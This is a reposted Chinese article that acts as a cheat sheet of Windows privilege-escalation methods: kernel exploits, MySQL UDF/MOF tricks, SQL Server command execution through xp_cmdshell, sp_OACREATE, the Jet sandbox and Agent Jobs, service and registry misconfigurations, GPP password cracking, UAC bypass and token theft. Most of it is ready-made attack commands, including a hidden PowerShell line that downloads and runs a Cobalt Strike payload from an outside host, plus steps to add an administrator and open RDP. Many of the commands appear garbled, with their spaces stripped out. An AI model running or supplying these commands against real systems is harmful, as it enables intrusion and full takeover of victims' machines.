当前位置: 首页 > 科技观察

Windows提权的几种常见姿势

时间:2023-03-12 08:03:10 科技观察

本文转载自微信公众号《绕过》,作者绕过。转载本文请联系旁路公众号。在获取主机权限时,我们总是希望能够将普通用户提升为管理员用户,以期获得对目标主机的高权限的完全控制。Windows中常用的提权方式有:内核提权、数据库提权、系统配置错误提权、组策略偏好提权、BypassUAC提权、令牌窃取提权等。1.通过内核提权溢出漏洞由于目标系统没有及时安装补丁,攻击者可以利用Windows系统的内核溢出漏洞进行提权,轻松获得系统权限。(1)通过systeminfo比对KB号,查看系统是否存在漏洞。github项目地址:https://github.com/AonCyber??Labs/Windows-Exploit-Suggester(2)找到漏洞对应的exploit执行,获取系统权限github项目地址:https://github.com/SecWiki/windows-kernel-exploits(3)添加管理员netuser用户名和密码/addnetlocalgroupAdministrators用户名/add(4)打开远程桌面#OpenremoteREGADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server/vfDenyTSConnections/tREG_DWORD/d0/f#Queryremote端口REGqueryHKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server\WinStations\RDP-Tcp/vPortNumber2。数据库提权(1)MySQL提权使用几种mysql提权方式,如udf提权、mof提权、启动项提权等UDF提权:通过创建用户自定义函数扩展mysql函数,你可以执行任意系统命令,将mysql账户root转换为system系统权限。mof提权:在Windows平台下,文件c:/windows/system32/wbem/mof/nullevt.mof每隔一段时间(很短)就会以系统权限执行一次,所以我们只要先你做的就是通过代码存储在这个mof文件中,就可以实现提权。启动项提权:将以下脚本上传到系统启动目录,服务器重启时会自动执行该脚本,从而获得系统权限。(2)SQLServer提权使用SQLSercer执行系统命令的方式有很多种,如xp_cmdshell、SP_OACREATE、sandbox、AgentJob、CLR提权。使用xp_cmdshell提权:#Enablexp_cmdshellEXECmaster..sp_configure'showadvancedoptions',1;RECONFIGURE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGURE;#通过xp_cmdshell执行系统命令Execmaster.dbo.xp_cmdshell'whoami'SP_OACREATE:#打开组件EXECsp_configure'showadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'showadvancedoptions',0;#执行系统命令(无回显)declare@shellintexecsp_oacreate'wscript.shell',@shell_outputexec'run',null,'c:\windows\system32\cmd.exe/cwhoami'通过沙箱执行命令:#打开沙箱execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1#使用jet.oledb执行命令select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','selectshell("whoami")')通过AgentJob执行命令:修改并启用AgentJob,执行CobaltStrikewithoutecho生成powershell并启动USEmsdb;EXECdbo.sp_add_job@job_name=N'test_powershell_job1';EXECsp_add_jobstep@job_name=N'test_powershell_job1',@step_name=N'test_powershell_name1',@subsystem=N'PowerShell',@command=N'powershell.exe-nop-whidden-c"IEX((new-objectnet.webclient).downloadstring(''http://192.168.214.129:80/a''))"',@retry_attempts=1,@retry_interval=5;EXECdbo.sp_add_jobserver@job_name=N'test_powershell_job1';EXECdbo.sp_start_jobN'test_powershell_job1';3.系统配置错误提示(1)权限配置错误如果管理员权限配置错误,低权限用户会对高权限运行的文件有写权限,低权限用户可以替换为恶意后门文件,获取系统权限一般在启动项,计划任务,发现服务配置错误,尝试提升权限。(2)可信服务路径漏洞(3)注册表权限配置不安全如果低权限用户对程序路径对应的键值有写权限,则可以控制服务,运行后门程序获取权限。#存储Windows服务信息HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services#服务对应程序路径存储HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VulnerableService\服务名称\ImagePath3.4AlwaysInstallElevated注册表项AlwaysInstallElevated是策略设置项。Windows允许低权限用户以系统权限运行安装文件。如果启用此策略设置,任何特权用户都可以使用NTAUTHORITY\SYSTEM权限安装恶意MSI(MicrosoftWindowsInstaller)文件。4.组策略偏好升级SYSVOL是域中的一个共享文件夹,用于存放登录脚本、组策略脚本等信息。当域管理??员通过组策略修改密码时,将用户密码引入脚本可能会导致安全问题。(1)进入SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密后的密码。(2)使用kali自带的gpp-decrypt破解5.绕过UACElevationUAC(UserAccountControl,用户账户控制)是微软推出的一种安全机制。绕过UAC提权可以将管理员权限提升为系统权限。使用msf模块:msf5exploit(multi/handler)>useexploit/windows/local/bypassuacmeterpreter>getuidmeterpreter>getsystem6。TokenStealingElevation通过窃取令牌获取管理员权限。在MSF中,incognito可用于实现令牌窃取。meterpreter>useincognito#进入隐身模块meterpreter>list_tokens-u#Listtokensmeterpreter>impersonate_token"NTAUTHORITY\SYSTEM"#impersonatetoken